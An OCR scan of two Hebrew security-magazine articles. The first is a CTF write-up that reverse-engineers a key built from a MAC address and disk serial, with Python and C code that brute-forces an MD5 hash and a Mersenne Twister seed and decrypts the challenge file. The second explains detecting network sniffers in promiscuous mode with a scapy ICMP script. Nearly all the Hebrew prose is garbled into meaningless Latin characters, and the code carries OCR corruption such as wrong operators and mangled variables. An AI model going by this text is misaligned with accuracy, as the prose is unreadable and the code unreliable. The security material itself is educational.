NIV X'N NN 'an? TIXA NI772 TWON ,NNIX D'A2TA TWKRD 728 N'0VO NIXA N7V DY7DN0N TWURD

.TNoY7 "
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https://github.com/skywind3000/FastMemcpy/blob/master/FastMemcpy.h

Technologic

D'VIAP WIO'N

:0x19F0 Nt Offset-2 N'¥219N NX N7"1 NI

Crypto NI'¥j72192 2" T2 .NNTIN NI'ONANA NI7IYD [IAN 179N ,Nd210Nn TINA N'¥2219 NI 1179 7Y

X2N N1INN2 D'YATINN D'DIJP'? 17 n'w ,Q'VIpR T 2V n'n nron' N1an'7 NN NINNKRIE 7RO

JINQN NRXINYT 7'2m "0x9D2C5680 crypto” 7w 72122 TIT WI9N

0x9D2C5680 crypto

2 Al [E) Images (B News [] Videos

About 433 results (0.29 seconds)

Mersenne Twister - Wikipedia
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7NNINAY DMI0N NIXTAITI DNNRYR RINY DT'R INT D D720 1INIX DTO7' NIXP AR DX
NP'ITAN N'YVINTON'RN PI'TA K'Y ,NNAN IRXINN DX N7YNn 72122 9o wio'n .Inw'7d Seed 1 7y
:C-2 DNNARN Y

https://github.com/ESultanik/mtwister

VIYS X'NY NN N1I97 NNXR DY DAL ,AYIY D'YAI90 NN 71T 120 'YOYY Nk L,n71vn

.Random-n n"xj719 7¥ Seed-n ny'ap

2Ouin winna

N7Y DMUVNI9N W MmN 7 NYIY AYXIO NN |'3.ﬂ'7 AYON D'MYySNN N1 L,INNKY 1N

XN N'XPI9N NR nnaT? N7'1 .N'¥71190 NXy? ninonl

nt) (this + 1);

i sub_407¢c

_ sub_407F53(L'
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Technologic

:N'N97 NINMP 7V DA 7DN0)
char *)sub_401040(v2,

((__intl6

7¥ output-n NIX N'TNNI NXINYT DTIRD 7270 NYRAIDN ARNIN 700W AN N NN Nionona
N> N'NIPI9 DAINV0 TIV 7Y DNOoON7 DA WWOX N7W NwLun DR PTN? YD .NTIRON

.command_result.txt

NI NI'YI9

;NN N'XIRZI9N 7V 7DN0)

)sub_407CCA(Ox288

' sub_iO?CAD:‘ v1);
returr vO;

STUrT

NIRPN 2V NIDNON MY P NYIY X' NN AN NI017 QWOKR 7AN ,NYIY X' NN avin 117 'R

.WinAPI
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:MSDN-2 nnIX won ,GetAdaptersinfo X' N9 NIXTT? TWONRY N'TIOIN N'¥71IO

GetAdaptersinfo function

12/05/2018 » 4 minutes to read
The GetAdaptersinfo function retrieves adapter information for the local computer.

On Windows XP and later: Use the
GetAdaptersAddresses function instead of GetAdaptersinfo.

Syntax

C++ I-_B(Zopy

IPHLPAPI_DLL_LINKAGE ULONG GetAdaptersInfo(
PIP_ADAPTER_INFO AdapterInfo,
PULONG SizePointer
H

NIXT? CWWONR ,q0m .awnna W'y Network Interfaces IXN Adapters-n 72y yTm n'Tn n'¥17190
Y'Y XIN NIXYT7 [N1IY 901 12T .A'NI9NN ITNINY V7" AIXK 7w Address N TYY nWnA W' pn TNK7Y
Mac-n X NNRI7 A¥IRPI9N NRIDY 2'0n7 NI DT 20 .Y 198127 D' W'Y YW ppnvn

.awnna 117 w'w Network Adapters-n TNK 7w Address
N71 DTN NN DWIY DTYRIIDN NN 112NT YRR DN 1YY
NMIPY XAN DNNIAZXR? 1van DA 17w 0121 RN 7V N0 NITDNOoN NNR TX

(11" .N1DINN N¥Y 1'7Y Awnnn 7w Mac-n1 yalpn ow 7w 0N 72y MD5 9w o'na 32 oy L
O0x0A 77 71910 0xAB 7N :NXAN N1I¥2 0'NA W7 N1 9D 0anan ,0'na 16 Xin MD5-v

.JN>'72 0x0B

-N 7Yy MD5-n ynian 17w NNoNn WWXD ,AES256 DNMIAZX DY YaIzn 70 DX D'2'O¥N ,pn WNKR7? .2

0'Na 4 X1 bios-n 7w "7x'on W 0'NaN 4 ,n1DIMn ¥ 1'7v awnnn v MAC-n YW 0'Na 6

:0Y9 75 0'NA 16 7w D'PI712 0'2'O¥N YAIPN DX .AUNNN 7Y N'YRn 70T 7w 780N Y
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+ (p'oxn? DNNW yalpn 7722 NITND) NMI9XMN YyTAN NMd 772 19X DNptRn 4

:0'na 2992

N¥Y NY7UY NIDNN 7Y oIran 7w Y7XN1'oN 7Y DIIWRIN D'NAN NYQIXR DX 0'NpRI7 ,pn nkY? .6

DTN MOTINY mtwister DNMIAYRY Seed-> DN D'WNNWNI ,N1DINN

NIVIIX ONX7 L[IURIN 27w mxUw MD5-n 7w 0'nan 32 DX 0'7'vn 0T DX D'YUIVY NR .7

:(52%w3a) n7nNN NNYY 0'Nan

gmemcp¥ ( (copy_of

38924- N1 N7¥ NMOjNA) [9XINN YT'AN 7TIA IR D'NPIT IXAN ["YNN 12T AT [N Mgy nn- .8
nX 0'0'dN TN (739 ,n%w Npna) chunk-n 772 MR o'P7nn (35932 - nxxIMnl 2992
X D'TIM L,Pn NKR? (49 N9 NIpENa) ITh D'NAN NIND INKY? twister-nn y11ann 1%onn

TN 910 TV 027N 01N ™)1, 1-2 N
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D'NAN NY2IXR 7w 7w oy XOR 1"y oty . 9ximn Buffer-n 75 nx X% om"onw nnx .9

:32%wa YA mMnww porTN 7w IRNoNN

Y2177 1713 19¥Inn Buffer-n NX D" niw ;01T 7w 19101 .10

NN9NNY 112N .yTNN [OXIN IN'KY NNSAN DX NYT7 D'DMX [Amd 1INIX yTNn DX NySY?
4 X1 bios-n 7w "IxM'on W D'MAN 4 ,N1DINN AX 1'7v awvnnn 7w MAC-n 7w D'N2a 6 :n 101N

2vNnn 7Y N'wpn 2o TN YW NN'on 7w DM
MAC

ITAY 11NAN .Or... Po... LTD :AXaN NNANN Nniva AN AWNAN 79 aNKN N7'nna man nY N1
NIAIND NIE'DIA1 YA '0'0YD NNX'IY NINANN NN'YN NX 197¢ .NYN '0'01D N¥'NY NNaN2
-0 NaIMd2 U TIN' DM NwIi?Y ' MAC NaImd 17 ARl NYY 0'01) NX'MY nnan 737 .MAC
.MAC

:NNAN NN'wN Tl .MAC naimd 75 n''nna 081F71 o'nan NX W TP-LINK nnan? ,nnaim?

https://gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e4

Orient Power Home :nNXanN NNanY 1nyan 17 nMY nnann DY 2V NAXNNY VIYD Regex NITYA

L'OX71? ,001337 nn MAC-2 n7w 0'nain NwI7w .Network Ltd
‘N'N Regex-n

.*Qr.*[ ].*Po.*LTD.
.N7UN7Y NNRN NN"N NT0 DN NRXINNI

2v "Bruteforce" 1m'wy vIWSI IMIX NP7 ,yalpn N'7'NN2 MD5-> MMy Waw DWTIY 1IRY |10

:N2N VOPON DY MD5-n YW WN

import hashlib

wanted md5 = '0949b46b73e3af6f5afc81955367295c"

for i in xrange (0x100) :
for j in xrange (0x100) :
for x in xrange (0x100) :
if hashlib.md5('intel.txt' + '"\x00\x13\x37' + chr (i) + chr(j) +
chr (x)) .hexdigest () == wanted md5:
print hex (i), hex(j), hex(x)
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:09MPON YW NRNINNI

O0x8e Oxab Ox66

Hard Drive Serial

4-n NI NNOAN 010N NN9N OY YT 7D X (XOR) 107 DNNIAZRN NI9¥NN 9101 ,11''Y¥Y 19D
[9¥INN Yalpn 7w DRIYRIN 0N 4-nY D'V 1INAR (Hard Drive-n 7w "x1'0N ¢ DIWRIN D'
4-n 17 yiagn 2 XOR N71iy9 XN NIWYY 0D7MY 1NIRY nn 7D D71 ,0x531B008A :0'viap On

27XM0N NN 72711 [9XINN YalPA DIYXIN DA

0x531B008A "~ 0x632B30BA = 0x30303030

© "N'o w atnnn s X1 ,"0000" 2V IR
Bios Serial

win'y'? 1ayn 17 0'RN DRY TN WINYWN ,01MN 7Y RM'0N NN 'ANY KD NNY [NNRD 12T
' Github-2 17w winmn NX IRYNAY 7722 .mtwister-N DNNIA7RA WIN'W RIn AES-N 7w NNona
INQN 11202 INWN DYIVY TIZ 79077 17 117

w2 Seed-n X ' .1

“2nImn oon awnn .2

YAl IUXRIN *701mNn 19on? IR niwn - .3

2 XMWY TR 12ND
#include <stdio.h>
#include "mtwister/mtwister.h"

int wanted random = 0x308b55ce ~ 0x30303030;

int main ()
{
for (int 1 = 0; i <= OxXFFFFFFFF; 1i++) {

MTRand rand = seedRand (i) ;
if (genRandLong (&rand) == wanted random) {
printf ("Success! Seed is %$x\r\n", 1);

}

}

return 0;

MAND D0"'M12 P71 AT NN Non' N7 NE7 LTINA 'OR TIEN ,NNAN D'YAN DR Y730 TN
D'YN X 71,01 4 7122 ASCH 2100 KIN "RMD'0NY NNIN NPT .A7unn TIRY NINTIN'uoIN

.0'0'9T ASCII "IN [2X DN D'NAN NYAIRI NTNA 71 Seed P17 NNRY
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NI'XT'A'UOIN TNXT T X1 D

#include <stdio.h>
#include "mtwister/mtwister.h"

int wanted random = 0x308b55ce ~ 0x30303030;

int main ()
{
int skip = 0;
for (int 1 = 0x30303030; 1 < 0x7b7b7b7b; i++) {
skip = 0;
char *num = (char *)&i;
for (int j = 0; j < 4; ++3) {
if (num[j] < 0x30 || num[j] >= 0x7b) {
skip = 1;
break;
}
}
if (skip) {
continue;

MTRand rand = seedRand (1) ;
if (genRandLong (&rand) == wanted random) {
printf ("Success! Seed is $%$x\r\n", 1);

}

return 0;

17 IN'Y) AN MIYA DY IMIX 79077 MART NI 1NNY% 1IN3'901 AM>DYY Nayny 21lwn 019 Ty

(NI NIpETRN NIXT'N'UOIRT ARITY 03 7217

gcc bruteforce.c mtwister/mtwister.c -o brute -m32 -03

RXINN NNl

XM'0 YW 7NN 1D NXNA 0T DAL "VMwa" 21100 IR

wUnnwn? 11'01 n7nNn2 lyal? Decrypt NIWYY7 77 ORI 'WDYI ,0DMX N'NY NN 7D DX 1190X
TIX 2AND7 VIYSI N2y N7 V7NN NI'YA D190 'R NN 72X "wincrypto" NXYjY [IN'9 11902

:C-a Xan TN

#pragma comment (lib, "crypt32.1ib")
#include <Windows.h>

#include <Wincrypt.h>

#include <stdio.h>

#include <malloc.h>

unsigned char intel txt enc[]
unsigned int intel txt enc len

int main (void)

{
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HCRYPTPROV phProv = 0;

HCRYPTHASH hHash;

char *key = "\x00\x13\x37\x8e\xab\x66" "VMwa" "0000";
HCRYPTKEY hKey;

char new buffer[0x10] = { 0 };

DWORD len = 0x10;

for (unsigned int i = 0; i < intel txt enc len; i++) {
intel txt enc[i] = intel txt enc[i] ~ 0x30;

}

CryptAcquireContextW (&phProv, L"DataSafeCryptContainer", 0, 0x18, 0x50);
CryptAcquireContextW (&phProv, L"DataSafeCryptContainer", 0, 0x18, 0x48);
CryptCreateHash (phProv, 0x8003, 0, 0, &hHash);

CryptHashData (hHash, key, OxE, 0);

CryptDeriveKey (phProv, 0x6610, hHash, 0, &hKey);

int counter = 0;

int bytes until next random = 49;

int current next random jump = 49;

for (int 1 = 0x28; 1 < 0x2e3 + 0x28; i++) {

new buffer[counter++] = intel txt enc[i];
bytes until next random--;

if (bytes until next random == 0) {
current next random jun =7
bytes until next random = current next random jump;
i += 4;
}
if (counter == 16) {
CryptDecrypt (hKey, 0, 0, 0, new buffer, &len);
len = 0x10;
printf ( 16s", new_buffer);
counter = 0;

Hex NIy INIX NPNYN VIYY |71 7191 YaIzn DX KIpw Readfile-n Nk M7 n7xynnw |x7 v

.C-2 0'N2 Wnd INIK NPaTRI DYion Editor

RXINN NNl
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:N2N NQT? N7am 22'70 7 nxny

Success!

Well Done!

You have successfully finished all the challenges!

This i1s your final success token

ZOFBQUFBQmMxWmd6Z0doNEIZMEFKWktRZjcyZz JJbGI4dcWZROC1YbOFBYIFEYXE
O0SkFIcFR2NzhKZFIPWUSETXVqWFU2NGJKdkS5ZZTFQaHFGeGFJZkisNTA2Q2MO0SIIY
QWpyRjJmeGsyZjimY19qdnpQRkdSSk4tcDNPNExsQWRyMOZVMGZnSzB5VONOZ3F

HaFRyMGozakxLdEx2UIBxODdDYjZEWIFKVGV1TR00yTXktMWixekindzF3Qy1vQXFDa
i14eHVTSGJLbkF1UUI20XVUbBDFYRTVJZ1JCZWhVOFcwdz09

please send your token and contact info to the following

A pleasure as always! Until next time
M

© Manxn DX 1ow NN

NANXKAN NNOoNni DidD'o ni'r'n

N'MIYNYN DY NN XINY DTAIYAN 7'NN1 .NMTIZ DY NANRNNA TIND MY D' NIYN AN
ANI' NN NIYNYn ANt 2% 9 AISY 17 Ny ntn Nind DN ARXIND .NINTIR 0vNn

NINTI? DIYN

N1aN2 NINDE ANPYORD DY A7'WUN DX 120K ,0R7WU0 701 120 D0 DN IWRIN Q7w Ny T?
.90 .IDA N7 2wt INIR "pNT?" MR IR 7D 7w AR N1anT Y19p7 W Y X7 0nyshy
NIY .NN'D "WYY TXY NDIN 7Y N TIR 12 KIXxNY DIznd Github-2 win'win 7w |1rvan NX N2NX
IVANY DNIS 7¥ NIIYN 71 Github-1 IX¥N11 Y'91n7 7'090 Repository-n NIYY Nnd WNK7Y |'x¥7

.Repository-17

1Mwn 1NIX .0*-Certificate-n 'pnwn 7w 70N NN 27WN 2N .090190 N¥P 17 w2aIN Qwn 2A7vn
A7Un 2N 73R NI NIN9Y VIYS NP 17 D NIWYY7 100 DN 1D2NY IR0 D0 InY
VIYSI NI7 V7NN D"I0N 27WA 11NIX ,0penSSL-1 D''9'¥90 X111 D971 D'-Flag 7y 00ann
vIn 27vn 7w awn 2700 ,90102 .N'van 2N DX 17 N9Y n7uonn nown v GUI-A wnnwnt
NNZ7 117 DM NANKR """ TIY W IMINRY NI7AY1 TING NIYRZ 0D Q%92 IWRID 2700 ,0nimn Ny

OIR QIRYTZE NPT NNnd 7 njpoon

2019 - 10N 7¥ oI'an Mankx |NNo
www.DigitalWhisper.co.il
39 2019 1' ,107 [I'7a




Technolooi

TINA D'UD01IP NND 12 I'NY 112WNIT 12 22'012 N DX NIWYYT 11101 TINNA 2120 T XD 'whwn 27un
-1 17w NIXAON 7V D™ONOoNW) T'N9N TINN NKNIY) DITIN DNNIRAZR NNR7 7w ['van .01nan
D90N DNIX NX V'TNA DY DAYNN 7V IMIX D'¥'IN DX DAY '0V0 DDA KINY AN (IDA
1220 N'NY NIV'WYI NIRRO0 NN WAT INXY 21'012MN ,90102 .21V V901l KIN SEED mMIX n1na

(N7wn7 NMonw 17X ') 1In' [702 wnnwin?
.NAN NIWA 2179 RIN NN NIRYY D'9XYN 1R, ANKD DX IN9Y 12101 ,D10'07

Writeup-n NX 2IN271 MANKN NN INDY7 12120 XY '9D NINDY7 1NN DX DNINY DM 1R

© ntn

The Challenge Has Ended

Thanks for participating in this years challenge.

We hope to see you next year.

.03197Y¥ |INN9N NN NO'AN Y1 ITN NRTOIN N7'Nzn NNz 7Y ,78'00p 7'9X7 Ny TN
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Promiscuous Mode Detection

N1 NKN

nNTEN

yTn ni7w 727 7a0nn 217 1770 oW KIn nnix .(nodes') D'MAXN NIAdNIN DAWNA NINWN
QnIYn TNX 72T 071071 ,0'NNY DAWN) 0710 -Dd7Y N0IKINI AUNNN L JI9XR79N .A'0R [9IX
7w MiIwpnn NI DX WORNN NN 21 XN (NIC) nwn o'oY wr 071DY - Nnix rmann

AN

17 NI7W91 2N DX NINT? N1 NNwynxal MAC NaIMD NXY7IN NAMD NDAIYN YN 0'01dY

JTn

NN NMIIWYNN DX NLVY7PMI ,NYIL D'NNXN TR 72V IRYNIN NDIN XA (sniffer) (NN NN
- TARD NINITTI NIM'OMIY - NIN'YN (1N Yo7 0713 (sniffers NX7n1 NNyn IXp') 0NN .DOT
'0719 ,NINNO'0) YT'N N2 0721 NDIXAD D'TPONN DI'RY 02D NIN'KI YA NIFYA NN 7Nn

.NNO'N DN']P'? nvwnn 'I9'NAal |9XIN N'RY ('DI AloON y1'n 'YK

2AWUNN7 NTVI'M NI'RY NNIAYN |]O'7 nin v 17¢ nrTint'n MAC-N NAINDA YIN'Y NIy WA 0'0D

.Inxy

o'dNY I AW NIN 1'7Y AWNNY? DTV NI'RY T 7710 ,NIaynn 75 X nRYY sniffer-w nan 7y
0'0d 19 7Y qI7NN MIAYNN 77D Nt ax¥na .(Promiscuous Mode) YN 1x¥n7 nwan 0'0d NN
719107 D'RINNIE N7Y9NN NDIYN N2 O'RYNIN NDIMN DY My 910N1 [11'0 K77 nwnn

.(Kernel Network Stack) nwn naiayna

D7IX Wiresharka 2j7'va wnnWUKX N7 INRN 7¢ NINATNA ,N910N XN 7¢ 2N [1an Y vl
v (N9 IMN) N'E7N NN'wA 707 2T NNIXA 21T D107 DMINRD N910NN MIXIN NN

:Promiscuous Mode-2 win'y D'wiyn (n9'|7n| NNLAN 101 ') D2 IYJD) n910N "XIN

! https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA (%D7%A8%D7%A9%D7%AA)

2
:NANNY? DTN Nrnt X7w niwy MAC niaumnd ,nwyn?
https://www.howtogeek.com/228286/how-is-the-uniqueness-of-mac-addresses-enforced
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https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA_(%D7%A8%D7%A9%D7%AA)
https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA_(%D7%A8%D7%A9%D7%AA)
https://www.howtogeek.com/228286/how-is-the-uniqueness-of-mac-addresses-enforced/
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The following applications and applications classes use promiscuous mode.

Packet Analyzer + nfop « Aircrack-ng
. NetScout Sniffer . Firesheep . Airsnort
. Wireshark (formerly Ethereal) Virtual machine « Cain and Abel
« tcpdump « VMware's ViMnet bridging Network monitoring
« OmniPeek « VirtualBox bridging mode « KisMAC (used for WLAN)
. Capsa Cryptanalysis « Kismet

NIDINI DAY 178 YT YN NIX 1'DNY ,NN0AN 'NNIN IX DMWY IPIND L1IN1'NAN NIA'YN NY!
L' VO'IARN .VO'7ARN YW D'™7ON VO NIYN NYI' X' DX DY '0'0D AT LAY NIXD

OpPIN 7¢ INRNNY 712107 720'w 101 " M it n7nn wnnun?

7 21wn .(Promiscuous Mode) D'¥IND NWA '0'0ID 'INT? NNIYW NIRO0 DATRI VIDX DT NN
%Y IMain 2y 002NN X7 IX YO XIN NWA 0'01) DXN [NAXY? [I'01N 21T VTN 1K INT ,WiaTnY
NINXIN 7277 DMWY 1R TR NIA'O [IANNA AXYIND N9INND ANNNY K7W 710! Ty . TIWNN awnnn

'y

ni1yosY ,[21 -1I"TN' NIRZ'IO0 1B0N 2747 X'0 DDA NINRTN NN NIRXIN A'WA7 AN N2I0N nL'Yn

ST |9IXR NIP'TAN NIRXINN ,7'7n NKX

NNl DNt .D"IRIOYT WA '0'0YD Y7V NIFIRIVYY NN 7 N>V 0YI0aNI NIpP'DLN 2N DX

JMNND 071" NIRYINYG 1NRN2 NIAYIND NIRXINN |2 010N 07 TaN

DTPMyyT™

W' RIF7Y NN R

.(Switch-1 Hub [122) n'ijn NwA 'a'd>Y Y N'0'0A NINDN @
.(DNS ,ICMP ,IP ,ARP) 0'XI191 NWN "7I710N9 7w N'775 n1an e
.(Ubuntu) Linux Dy '0'01 |I'0") e

.Threading DY N'0'02 NINJ>N .'NIDN |I'01 e

RN 'YUNNT7EIMMUNT 17010 D'RNNN YN K77 DIRIPY D 1Y QIXN ANKRY TN avin 707
N2>INYT scapy N'MS01 MWNNWN 07100 DANAY ,python-2 Tiz 'WOP D'OIXN INRAN IRY?
Y'mn X ,IN12N] D'YRNA TYY D'RIIPY M71D' 20D TIpn DR 1Y0N7 'M'o* .NIVPD NNYYI

MIN'Y MYY [N DNIMPWYR DIYZAIDN 7Y AY0INIZIT DR KNP
‘DTIAYN Nafao

MmN 7m oA ImnIx NitTann 270 .Ubuntu 12 nadni windows 7 Madn 7in 'Md>W NIz Tan NN

‘Windows 10 Y naxXnn awnnn .2018.4 Kali
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Ubuntu 12. Windows 7.
192.168.237.128 192.168.237.132

Kali 2018

:(sniffers) DanaN1 7V n'1'n

.0"2'091 0D"A'VZX D'D0 -0myY D'|7'7n] DM910 IX D'INNY ,07'7D o172

MIIAYNINY 71D "A'0X |DIX] van D'XWIJ'D]IP/HJJYJ NX 0YnNn 0910 DN D"A'VpPX D90
nmMiynn NX ANInvy (SWitCh) ANN X710 201 NI7DN NIMTIA DNINYAN 2N 0 .'-]|7I]'l'7 DATIN

IR NTYIMY NIAYNN DX 1 72 awnn 75w 7D - 0N 91X

|9IN2 YN N1AnN DX NYy! X7 NID DX -YINS 17¥ YN 0'0IDI WY NNIXN Q71N DX Da ,niD

.(QUnna N¥pPa N201' AWM - Broadcast MIAYN IX) I'7K NTYIMN DIIAYNDN 71 727" KN -2'0PR

DTN71 Hub-> AnaNn%? Switch-7 niNa'21 MAC Flooding (12> NI9zNn y¥a7 070! D"2'0X D910
7201 ARP) ARP-n MIN720 DX DNT? N 72V ARP Spoofing IX 17w D'0N19N 722 NMynn NX

AWUN DY TNKR DIPNA PINN DY 12T? DN DNA71 DAwNn 7w (Qwnna

NNAIT? 012'09 0MIDNI0 .0V 0N N7V YA 0'I'Y D'YYAN DI'X ,NKT NNiY? 0'a'od Do

.wireshark-1 tcpdump Dn

10 1YY WNTIN YINO 2Xn v mi'p 'm'ta X7X ,INXY 19100 "N TPNNN 11'X AT INKN 7w AN

.0"M9"10n

N7 'TRN? NIn 21 Switch NI7ON NIMNMTIMN DNINYAN NMNY [P ,NRT DN? 'MRn 07192
10T DTN NININNN 'YANA -NYIQ DRDY 7Y Y7190 27NN y¥at v eyt nnixa

.YNS Nw 0'01D DY D'awNn 1N X711 (MAC Flooding-1 ARP Spoofing [120) Nifa'upXR NIgpnn
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?Promiscuous Mode nT nn

'0'0ND D'ANINNA TXD |'2N7 11*7Y Promiscuous Mode-1 NwA '0'0) NINT? 7510 'K 'an? N 7y

1770 07 1ann 7Y 7w NIRRDLVN DR 0017 ,TRI D'XIND DI'RY NWA '0'0ID NNIYVY7 D'¥YND NW

JIWNN 0'01D T N2 AWNAY YIANn YT 75 .Awnn ny'an Ninyn QwUxd NI AN 21 07NN

o'na 9xn IN?'NN2a 7'on - Ethernet 7w DWFYJJ) nolXNn VNI YTNN 'S XTIN NYAIN 0'VYD

AN RNl (CyTan N'NN DX 7noni SFD X720 N1 Drnonw Preamble X170 D'ion

64 - 1518 bhyte

A

Y

Ethernet Header (14 byte)

~

\

46 to 1500
7 byte 1 byte 6 byte 6 byte 2 byte byte 4 byte
Frame
Start L
Destination Source Length Data Check
Preamble Frame Address Address ¢ Sequence
Delimiter (CRC)

IEEE 802.3 Ethernet Frame Format

X'D ITD 172N YR NTYIM YTNRN N7'ANY XTIM DYIN 0'0YD |'PN YyT'Rnl NT'Na
NIN2N NI'NYONRNN NNX
.(Unicast) n7w nwan 0'01d 7w MAC NamdN X'N 7Y TV Namdw n7an .1

.(Multicast) n'a>1 10N nTVIMY n7an .2

M7n )02 NIXY? N1 - (Broadcast) NnwN nNIXa o\awnnn 727 nvimn n7an .3

.Multicast 7w 01

Network IC

noEoONl NN N'0S9 DIt 1wan 0'vD U770 NrnwoRN nwItwn NNX 7V nmay n'7'an nTna

M19'0 Ywnn? Kernel-n 7x "n2un?" Navin

® https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start frame delimiter
* https://en.wikipedia.org/wiki/Frame check sequence
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https://en.wikipedia.org/wiki/Multicast#Ethernet_multicast
https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start_frame_delimiter
https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start_frame_delimiter
https://en.wikipedia.org/wiki/Frame_check_sequence
https://en.wikipedia.org/wiki/Frame_check_sequence
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NTI? TYI'Y 'MONIN [12'0 INIX 7Y 0NN DXV X - YO 2¥n7 17w NIC-N X 0'0'10N 1K TWND

1R NITYIM K7W Nian 72 K

Sniffing

Hardware Filter

TO OTHERHOST

[http://www.securityfriday.com/promiscuous_detection 01.pdf]

LX7N MWD -NTYIM XD M7 mwn X7 ,nwnn 0'01d My 7apnny NN n'?'an D nwyn'? nyd
nUYN7 XN NIWY7 179w 95 (NIKDY) - YNS NwN 0'01d W awnn? OX NI7A7 nm 7y D DX
DTN AYUNNNN NAIYWN X'NINT D7D 2 72X WD 0'01) 7 [1'0N DX 11IAYN X7 n'7'an a0
TN N7'2AN7 NaIN AR X7 L,NNIR D0 KIN - 720 WA 0'01) W' AwNnY? OX .01 |1'0 N K7

.NAIYN 117 TN AWNANT RN IIAYN N7'2NN - YD v 0'01) DX D7IN

:ICMP PING Detection

Echo request a10n ICMP NUp9 12 D' TYIN 1IRY awnn? N7w1 NI 0IYS XIN IT N0'wA ['van

.(ping D2 XN)

IPN naImd TIya ,'73.|7'7 NN TV AYNNY NAIND N'RIEN9UTA TV 7w MAC-N NAINDY XIN 'YNPD

A7¢ DIMARD TV NAIMD X TV Y

Kernel-n .Kernel-7 71ayn nupon ,nwIN 0'01D NNNA |12'0 |'RINT'NAW NNINN 7V D'002NN 1INIX
7¢ Headers-n NN 0 PITA' KN P71 - NNYY 2 DOV Np'TANY NN LMK VAN RN DRY DY

.ICMP Echo Reply Nn0TNa 72231 NWRA7 YN KIN - NR'RNN IP-0 NAIMDY (10 NI NIAdWN

VAN DR U'NNNY VIYYS U970 1INd)

import sys
from scapy.all import *

ICMP_ECHO REQUEST = 8
MAX TIMEOUT = 2

def (device ip):
request packet = Ether (dst=
request packet /= IP(dst=device ip)
request packet /= ICMP (type=ICMP ECHO REQUEST)
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http://www.securityfriday.com/promiscuous_detection_01.pdf
http://www.securityfriday.com/promiscuous_detection_01.pdf
https://he.wikipedia.org/wiki/%D7%A4%D7%99%D7%A0%D7%92
https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/icmp_ping_detect.py
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response = srpl (request packet, timeout=MAX TIMEOUT,
, verbose=False)

if response is None:
print ( .format (DEVICE TP

= device ip))
else:
print ( .format (DEVICE IP =
device ip))

def () :
target device ip = sys.argv[l]
detect promiscuous (target device ip)
if name == ' main

:(MNIwn 1901 ' 2v) NdINN 27 X'NY detect_promiscuous N'¥PAI9N NIX 11101

t /- IP(dst .
t /= ICMP(type=ICMP_ECHO_ REQUEST)
(r t, timeout-MAX TIMEOUT, iface
asponse
print("Device is .format(DEVICE_IP = device_ip))

print (

".format(DEVICE_IP = device ip))

1T XYY 'wONRN 7Y IP-0 NAIMD DX 10N9) N7 N'YI9N

-Y DIYN '¥7 I 'R RN NN DX NN NR'0R'S NAIMD AN TV 7w MAC-n Damd
.INXY2 NINT D'7UN scapy

N72'7w N2IMD NNIX X' TV 7 IP-0 NAIMd .Nwan N2OW 7w Header-n DX nLE97 9'on
["'¥7 X 'R NN NN DX LK DA . TIYNN 1'WONN ¢ MmN PR NAmd X' oniod
.1N12Y NRT NYIY scapy-v DIYN

Echo 72> X' Scapy-2 ICMP n7:an oMxirwd 'u?19'T 91X .ICMP 9w Header-n NX 9'on
.(8 X1n NNDoNW) Echo Requesta D*11yn 1IXW wWIISN] X1 NIN'NAN VN7 D7IX Request
NN ANIX NN7IYIE ,ANYYY 072N N7 1T 2N .srpl NIYNNANA Y2190 K N7e)
JIN7WY NOPO7 NAIWN NTINE NT'AL .(NNXK) NAIYNY? DITRN XD DN INKY? 170 N2DY

.None 'ThN X'N X721 DTN .ANIK Y'TAN N'X72119n

:DNVNIS 4 MDY IT DYDY

.NI7YW7 XN AR NNIR NOPON DR .1

QY 2-0T NN ,NNY7UN ANKRY NAIWNT7 NDNY [M1yn R NI '7n'opnn (nTn Nk .2

nNaINN YR NIXRI0NIN NYAN 7Y qunna 'mana LNivYe nxn AR DAT pwnnn DR .3
Jnnnn

MTN 172NN NIVRD NNd ,'MN7Y NIVPO NND) NNYWUN 01VVO 7w 1M |"1Iyn X DX .4

PN X7 - 0pw 2N MmN AT A L(.LDI

10

A1
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7V My TY'N AUNNY [n'0 ,NIYN 1172'7 DX .N7Y9IN NY¥I9NY INXK7 NI NN 2172 (15 1Y) .12

NYIN 0'VIDY NNIAA NNP0Y NNYT 7211 P71 - IR NTYIM X7 X'NW NNNY ,NYYY nwpan
YNo 1y

Echo-n Nwja NX |2'0 TY'N AWNN 7¥ NWAN 0'VIDI PN - NAIYN 1727 X7 OX ,NINT NNIYY

.YINO 2XN1 1I'X XINY DIYnN - nnwy

71T .YN9 17U NWAN 0'0DY NINNY ,NIYWN 11727 K7W 127 NINNK NIQ'0 DA QY'Y wATA7 21wN

AJwnn 17X niaron 270 7y

12.04 nadN 'MNIN ANATAN IX7 .YND 2¥N2 11'K YN 0'01DWD NAIDNN NARN NIX [N2 N7'NN
.Windows 10 ymn naxnn awnnn .Wireshark n'2y 'mipnni (osboxes.org-n 'mTInw) Ubuntu

:NdNnN 'v1d

osboxes@osboxes:~5 ifconfig
ethe Link encap:Ethernet HWaddr 00:0c:29:19:1d:5f

inet addr:192.168.237.128 Bcast:192.168.237.255 Mask:255.255.255.0

NNIYIN DX N1 7pn 7w 0I7a Yo ax¥nt NIoNUNN WoN1 L'NJIN AXNN DX 21T, N'WUR)
IR NoN'NNY (NNDTY IN) MINNXN

osboxes@osboxes:~$ grep -r promiscuous fvar/log/kern.log | tail -1
Feb 15 15:54:11 osboxes kernel: [ 2598.747852] device eth® left promiscuous mode

osboxes@osboxes:~$ I

0'01D NN 7D V'O I'K DX ,22aX N7 NI YA i - YIND 2XNnN XX' YN 0'V1DY O'RIN 1IXR

.(N7'NNd'M 1"7x% 0101 X7 "X NIN D) YN II'X WD

DATINY ,netstat -i IX ifconfig 1N2) NA'V'RIVI'R INI* NIIXA DT DX NIYIVY NS0 NITIPD W' :DIvn
NINT? N'Wa AN [NMYY) IR0 2¥nN DX I9P'Y K7 NINg 0'NY7 nime ) 7 X7 0 07 (Qwnna
.(Wireshark m> n10IN Niy¥nxa K78 Terminal-n 10T NINWN X7 XINWD YN9N 2¥NN DR

(1127NDY UO9"IPON NN YN

C:\Users\bnaya\Desktop\scripts>icmp ping detect.py 192.168.237.128
Device 192.168.237.128 is not in promiscuous mode.

C:\Users\bnaya\Desktop\scripts>

